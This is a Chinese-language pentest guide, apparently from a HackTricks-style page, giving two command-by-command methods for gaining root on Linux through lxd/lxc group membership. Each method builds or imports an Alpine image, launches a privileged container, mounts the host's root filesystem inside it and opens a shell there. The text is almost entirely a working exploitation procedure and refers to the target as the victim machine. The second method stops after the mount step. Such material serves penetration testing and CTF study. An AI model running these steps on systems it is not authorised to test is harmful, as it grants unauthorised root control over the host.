lxd/lxc 组 - 权限提升

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如果您属于 lxd 或 lxc 组，您可以成为 root

无需互联网的利用

方法 1

您可以从受信任的存储库下载一个 alpine 镜像以供 lxd 使用。Canonical 在他们的网站上发布每日构建：https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/ 只需从最新构建中获取 lxd.tar.xz 和 rootfs.squashfs。（目录名称是日期）。

或者，您可以在您的机器上安装这个发行版构建工具：https://github.com/lxc/distrobuilder（按照 GitHub 的说明进行操作）：

# Install requirements
sudo apt update
sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage

# Clone repo
mkdir -p $HOME/go/src/github.com/lxc/
cd $HOME/go/src/github.com/lxc/
git clone https://github.com/lxc/distrobuilder

# Make distrobuilder
cd ./distrobuilder
make

# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

# Create the container - Beware of architecture while compiling locally.
sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64

上传文件 incus.tar.xz （如果从 Canonical 仓库下载，则为 lxd.tar.xz）和 rootfs.squashfs，将镜像添加到仓库并创建一个容器：

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

最后，您可以执行容器并获取 root：

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

方法 2

构建一个 Alpine 镜像并使用标志 security.privileged=true 启动它，强制容器以 root 身份与主机文件系统交互。

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true